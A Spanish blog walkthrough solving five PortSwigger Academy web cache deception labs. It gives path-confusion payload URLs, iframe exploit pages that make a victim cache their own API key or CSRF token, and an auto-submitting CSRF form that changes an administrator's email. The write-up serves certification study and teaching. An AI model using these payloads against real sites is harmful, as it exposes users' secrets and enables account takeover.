PortSwigger Academy – Web Cache Deception

¡Hola a todos! Aquí estamos de nuevo y esta vez seguimos preparando la certificación Burp Suite Certified Professional (BSCP), que proporciona una base muy buena de cara a auditorías web y gestión de la presión, sobre todo en el examen para el cual te proporcionan 4 horas y hay que explotar hasta 6 vulnerabilidades. Además, se trata de un examen muy barato (<100€) lo que la hace sumamente atractiva.

Antes de nada, recordad que PortSwigger nos permite probar 30 días su versión profesional de Burp Suite. Os recomendamos que activéis esta versión para poder probar todas las funcionalidades de la herramienta.

En esta entrada explicaremos y solucionaremos todos los laboratorios relativos a Web Cache Deception. Hay muchos walkthroughs sobre cómo resolver estos laboratorios, pero exponerlos aquí nos sirve para afianzar conceptos y enseñaros además algunos trucos de uso de Burp Suite Professional, así como comentar veces que hemos visto las vulnerabilidades estudiadas en los laboratorios en la vida real. Sin más dilación, ¡comenzamos!

Siendo sinceros, este tipo de vulnerabilidades son más raras de ver en entornos reales, al menos en nuestra experiencia. Cierto es que, si los clientes no hacen uso de cachés o CDNs, difícilmente las encontraremos. Por ello, este tipo de vulnerabilidades son aptas únicamente para aquellos despliegues más avanzados que tengan este tipo de mecanismos.

Lab1 (Apprentice) – Exploiting path mapping for web cache deception

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, find the API key for the user carlos. You can log in to your own account using the following credentials: wiener:peter. En este laboratorio debemos identificar una vulnerabilidad de Web Cache Deception para obtener la API Key del usuario «carlos».

Este tipo de vulnerabilidades pueden ser complejas de encontrar. Sin embargo, el escáner automático de Burp Suite Professional suele funcionar bastante bien. Para verlo, después de mapear la aplicación de forma autenticada, detectamos que la siguiente URL es utilizada para visualizar los datos del usuario:

https://0a4600f503519b8c836832ed009b0063.web-security-academy.net/my-account

Además de eso, en las peticiones a recursos estáticos como Javascript, podemos observar el uso de cachés. Gracias a ello, deducimos el uso de esta tecnología y, por tanto, lanzamos un escaneo activo a la petición de obtener datos de la cuenta para ver cómo se comporta Burp Suite Professional.

Como vemos, con gran precisión nos indica la vulnerabilidad. De igual modo, esto podría haberse comprobado a mano. Para ello, lo primero sería lanzar una petición a una ruta arbitraria por debajo de «my-account», por ejemplo «/my-account/foo» y verificar si la respuesta indica el uso de la caché:

Como vemos, ni rastro de la caché en las cabeceras. Sin embargo, es destacable que seguimos recibiendo los datos del usuario «wiener». Vamos a probar ahora lo mismo, pero con una ruta que apunte a un fichero estático, como puede ser «/my-account/foo.js».

Como vemos, ahora sí aparecen las cabeceras asociadas a la caché. ¿Qué podemos deducir? Sencillo, que mientras que el servidor encargado de la caché interpreta las rutas de forma tradicional, el servidor de origen las interpreta en modo API y simplemente ignora las rutas por debajo de «my-account» al considerarlas un parámetro innecesario.

Gracias ello, podemos añadir a nuestra URL supuestamente estática un caché buster para asegurarnos de que los datos que recibamos sean del usuario víctima y lanzar un ataque de ingeniería social. Fíjate en la siguiente URL:

https://0a4600f503519b8c836832ed009b0063.web-security-academy.net/my-account/foo.js?cachebuster=randomvalueforcarlos

Sabemos que, si el usuario «carlos» accede a la URL, esta quedará cacheada al interpretarse como un fichero estático. Además, sabemos que su API Key será visible porque el servidor de origen interpreta la URL en formato API. Eso sí, debemos enviarle la URL a «carlos» para que sea él quien accede por primera vez a ella con el caché buster, ya que en caso contrario estaríamos nosotros mismos cacheando nuestro contenido. No obstante, esto es sencillo, ya que podemos cambiar el valor del parámetro caché buster siempre que queramos (para eso se usa, precisamente).

Nos falta la última pata de la ecuación, hacer que el usuario víctima visite esa URL para luego acceder nosotros y llevarnos la información. En los laboratorios de PortSwigger disponemos de un «Exploit Server» para alojar contenido malicioso. Explotaremos esta funcionalidad y serviremos un fichero HTML con el siguiente contenido:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Load JS in iframe</title>
</head>
<body>
  <iframe
    src="https://0a4600f503519b8c836832ed009b0063.web-security-academy.net/my-account/foo.js?cachebuster=randomvalueforcarlos"
    width="800"
    height="600"
    frameborder="0">
  </iframe>
</body>
</html>

En negrita la parte más importante y es que, simplemente, a través de un iframe hacemos que el usuario víctima «acceda» a la URL que nosotros queremos. Almacenamos dicho contenido en el «Exploit Server» y se lo enviamos a «carlos» con el botón «Deliver exploit to victim»:

Y una vez enviado el exploit, sabemos que «carlos» accederá a la URL, se cacheará el contenido y detrás vamos nosotros a acceder al mismo recurso desde Burp Suite Professional (muy importante no hacerlo desde el navegador, porque puede haber glitches):

Como vemos, hemos disparado («hit») la caché. Esto es estupendo, porque es justo lo que esperábamos. Si además hacemos scroll en el contenido de la respuesta, observamos la API Key del usuario «carlos», exfiltrada gracias al ataque Web Cache Deception:

Para resolver el laboratorio, por tanto, simplemente envía el valor de la API Key como solución al mismo.

Lab2 (Practicioner) – Exploiting path delimiters for web cache deception

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, find the API key for the user carlos. You can log in to your own account using the following credentials: wiener:peter. En este laboratorio debemos identificar una vulnerabilidad de Web Cache Deception para obtener la API Key del usuario «carlos».

De nuevo, tomamos como referencia la petición en la que se solicitan al backend los datos del usuario, es decir, la petición a «my-account».

En este caso, si incluimos rutas arbitrarias como «/my-account/foo» vemos que la aplicación devuelve un error 404, lo cual es esperable. Procedemos, por tanto, a probar si algún delimitador es entendido de manera diferente por el servicio de caché y el servidor de origen. En este recurso tienes todos los delimitadores que pueden usarse para este testing: https://portswigger.net/web-security/web-cache-deception/wcd-lab-delimiter-list. Configuramos el Burp Intruder con una petición al recurso «/my-account<delimitador>foo» y revisamos si alguna de ellas nos devuelve la respuesta original con la API Key:

Como podemos ver, debemos quitar la codificación de caracteres especiales para este ataque, ya que justamente nos interesa que no se codifiquen:

Tal como se puede apreciar en la ilustración anterior, encontramos dos delimitadores válidos para realizar posibles ataques de Web Caché Deception: el punto y coma y la interrogación. Como siguiente paso, evaluamos si la aplicación responde de manera diferente al incluir extensiones normalmente estáticas en el payload:

Hemos vuelto a dar en el clavo, ya que utilizando el punto y coma como delimitador y un supuesto fichero CSS, el contenido queda almacenado en caché. Por tanto, podemos realizar de nuevo el ataque de Web Caché Deception a través de la siguiente URL:

https://0a9a001103cd237e805008a500a50048.web-security-academy.net/my-account;foo.css?cachebuster=randomvalueforcarlos

Fíjate de nuevo en el caché buster, para que los datos que se almacenen y a los que nosotros accedemos posteriormente sean del usuario «carlos». Asimismo, generamos, almacenamos y enviamos el siguiente exploit a la víctima (mismo procedimiento que en laboratorios anteriores):

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Load JS in iframe</title>
</head>
<body>
  <iframe
    src="https://0a9a001103cd237e805008a500a50048.web-security-academy.net/my-account;foo.css?cachebuster=randomvalueforcarlos"
    width="800"
    height="600"
    frameborder="0">
  </iframe>
</body>
</html>

Una vez almacenado el exploit y enviado a la víctima, su contenido se habrá cacheado idealmente y será accesible a través de la URL indicada anteriormente. Accedemos a ella con Burp Suite Professional (importante no hacerlo desde un navegador, porque puede haber glitches) y obtenemos el valor de la API Key pedida.

Ahora, simplemente, debemos meter la API Key como solución al laboratorio.

Lab3 (Practicioner) – Exploiting origin server normalization for web cache deception

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, find the API key for the user carlos. You can log in to your own account using the following credentials: wiener:peter. En este laboratorio debemos identificar una vulnerabilidad de Web Cache Deception para obtener la API Key del usuario «carlos».

Comenzamos, en primer lugar, realizando un mapeo de la aplicación y llegamos de nuevo a la petición que obtiene los datos del usuario «my-account». No obstante, nos fijamos también en que todo el contenido bajo el directorio «/resources» parece estar afectado por la caché. Por ello, intentaremos ver si se producen discrepancias en la forma en que el servidor caché y el servidor origen tratan la normalización de directorios. Para ello, probaremos con el siguiente recurso base:

https://0aa7006e04a49383801b038a003000ca.web-security-academy.net/resources/js/tracking.js

Como primera comprobación, vemos que si enviamos una petición a un recurso arbitrario bajo «/resources», la caché sigue apareciendo, lo cual nos hace confirmar la sospecha de la regla basada en directorios:

Probaremos ahora con la siguiente petición base para conocer cómo normaliza el servidor de origen las rutas con el siguiente payload:

https://0aa7006e04a49383801b038a003000ca.web-security-academy.net/resources/..%2fmy-account

Como podemos ver, el servidor origen normaliza la ruta de forma que la convierte en:

https://0aa7006e04a49383801b038a003000ca.web-security-academy.net/resources/../my-account

Sin embargo, lo mejor es que ahora la caché se ha activado. Esto indica que, al contrario que el servidor de origen, el servidor de caché NO está normalizando la ruta, tomando el recurso accedido de manera literal como:

https://0aa7006e04a49383801b038a003000ca.web-security-academy.net/resources/..%2fmy-account

Y dado que la regla aplica a todos los recursos bajo «/resources», se asume que el recurso «..%2fmy-account» debe cachear el contenido. Por ello, podemos generar una URL como la siguiente para explotar Web Caché Deception:

https://0aa7006e04a49383801b038a003000ca.web-security-academy.net/resources/..%2fmy-account?cachebuster=randomvalueforcarlos

De nuevo, almacenaremos nuestro exploit en el «Exploit Server» y se lo enviaremos a la víctima:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Load JS in iframe</title>
</head>
<body>
  <iframe
    src="https://0aa7006e04a49383801b038a003000ca.web-security-academy.net/resources/..%2fmy-account?cachebuster=randomvalueforcarlos"
    width="800"
    height="600"
    frameborder="0">
  </iframe>
</body>
</html>

Y, una vez enviado, accedemos a la misma URL desde Burp Suite Professional para obtener la API Key de «carlos», que será el dato a incluir para resolver el laboratorio:

Lab4 (Practicioner) – Exploiting cache server normalization for web cache deception

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, find the API key for the user carlos. You can log in to your own account using the following credentials: wiener:peter. En este laboratorio debemos identificar una vulnerabilidad de Web Cache Deception para obtener la API Key del usuario «carlos».

De nuevo, comenzamos mapeando la aplicación web, detectando que todas las respuestas del directorio «/resources» parecen ser devueltas desde la caché. Intentaremos, en este caso, ver cómo normaliza el servidor caché las peticiones con el siguiente payload:

https://0a5e00e604611f618041037000d200bb.web-security-academy.net/aaa/..%2fresources/js/tracking.js

Como vemos, en este caso, el servidor de caché esta normalizando las rutas, por lo que obtenemos el contenido cacheado del propio servidor. Comprobaremos, ahora, si las rutas están siendo normalizadas por el servidor origen. Para ello, escogemos el endpoint dinámico que carga datos e incluimos el payload siguiente:

https://0a5e00e604611f618041037000d200bb.web-security-academy.net/my-account/..%2ffoo

Como vemos, el servidor origen NO normaliza las rutas. Por ello, podemos generar un payload como el siguiente:

https://0a5e00e604611f618041037000d200bb.web-security-academy.net/my-account%2f%2e%2e%2fresources%2fjs%2ftracking.js

Dicho payload será interpretado por el servidor de origen como una petición a «/my-account%2f%2e%2e%2fresources%2fjs%2ftracking.js», mientras que el servidor de caché lo interpretará como una petición a «/resources/js/tracking.js». Sin embargo, no obtenemos respuesta por parte del servidor de origen tal cual la esperamos:

Obviamente, al añadir el payload, el servidor de origen interpreta la ruta completa y, por tanto, nos devuelve un error de archivo no encontrado. Nuestro objetivo será, por tanto, que la petición vaya dirigida a «my-account» únicamente. Esto lo podemos hacer con delimitadores. En este caso, tras lanzar un ataque con Burp Intruder como en laboratorios anteriores, puede identificarse el delimitador «%23». Por tanto, construimos el payload válido:

https://0a5e00e604611f618041037000d200bb.web-security-academy.net/my-account%23%2f%2e%2e%2fresources%2fjs%2ftracking.js

Finalmente, para resolver el laboratorio debemos hostear un archivo malicioso incluyendo la siguiente URL en un iframe, enviársela al usuario «carlos» y acceder mediante Burp Suite Professional a la misma URL con el caché buster (revisa otros laboratorios anteriores para ver cómo se hace esto).

https://0a5e00e604611f618041037000d200bb.web-security-academy.net/my-account%23%2f%2e%2e%2fresources%2fjs%2ftracking.js?cachebuster=randomvalueforcarlos

Lab5 (Expert) – Exploiting exact-match cache rules for web cache deception

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, change the email address for the user administrator. You can log in to your own account using the following credentials: wiener:peter. En este laboratorio debemos identificar una vulnerabilidad de Web Cache Deception para resetear la contraseña del usuario «administrator».

Tras iniciar el laboratorio, lo que observamos es que en las respuestas recibidas es posible ver el uso de una caché al acceder al recurso «favicon.ico».

Revisamos ahora si el servidor de origen normaliza las rutas con el siguiente payload:

/favicon.ico/..%2f/my-account => Testing de normalización en origen
/my-account/..%2ffavicon.ico => Testing de normalización en caché

Como podemos ver, el servidor caché normaliza las rutas, mientras que el servidor de origen no lo hace. Además, vemos que la ruta «favicon.ico» está afectada por la caché. Por ello, podemos usar esto para generar payloads de acceso a rutas dinámicas que se queden almacenadas en caché:

Lo siguiente que debemos encontrar es una ruta dinámica que nos sea útil. En este caso, utilizaremos «my-account» como endpoint dinámico y observamos las respuestas (cuidado, siempre obtén un caché miss, ya que si no estás obteniendo el contenido cacheado):

/my-account/..%2ffavicon.ico => Not found
/my-account?/..%2ffavicon.ico => 200 OK, pero sin usar caché
/my-account;/..%2ffavicon.ico => Not found, con caché en uso
/my-account;%2f..%2ffavicon.ico => 200 OK, con uso de caché

De los payloads anteriores, se puede observar claramente que, además de las discrepancias entre caché y origen en la normalización, existen también discrepancias en el uso de delimitadores. Mientras que el servidor caché hace caso omiso, el servidor origen usa el delimitador en la petición en negrita y por tanto la petición se envía a «my-account».

Conocido esto, es posible ejecutar ahora un ataque para extraer el token CSRF relativo al cambio de correo electrónico del usuario «administrator». Para ello, simplemente debemos obtener la ruta anterior, por lo que utilizamos el siguiente exploit que almacenamos en el «Exploit Server»:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Load JS in iframe</title>
</head>
<body>
  <iframe
    src="https://0a2b00fd04ea887280fe127e002200e1.web-security-academy.net/my-account;%2f..%2ffavicon.ico?cachebuster=randomvalueforcarlos"
    width="800"
    height="600"
    frameborder="0">
  </iframe>
</body>
</html>

Tras almacenarlo, le enviamos el exploit a la víctima y accedemos con Burp Suite Professional a la misma URL con el caché buster, obteniendo el token CSRF:

Para finalizar el ataque, debemos forzar a la víctima a que cambie el correo electrónico. Dado que disponemos de un usuario de pruebas «wiener:peter» y que el formulario de cambio de correo está protegido contra CSRF con un token que ya tenemos, generamos una prueba de concepto. Para ello, cogemos una petición de cambio de correo de «wiener», hacemos botón derecho en la petición y en «Engagement tools» seleccionamos «Generate CSRF PoC». Esto nos genera un código como el siguiente:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a2b00fd04ea887280fe127e002200e1.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="foo@foo.foo" />
      <input type="hidden" name="csrf" value="tSa4LliUL03P5mWCnlOOW7W7Sw3KDs6v" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Claro que, debemos adaptar el código para usar el token CSRF obtenido para el usuario «adminstrator», quedando la PoC como sigue:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a2b00fd04ea887280fe127e002200e1.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="admin@admin.admin" />
      <input type="hidden" name="csrf" value="8Qec7IJlPvZpUKcw0p0jFdyzfhJXeuOk" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

De nuevo, hosteamos este exploit en nuestro «Exploit Server» y se lo enviamos a la víctima, habiendo resuelto el laboratorio ya que al acceder su correo cambiará a «admin@admin.admin».

~km0xu95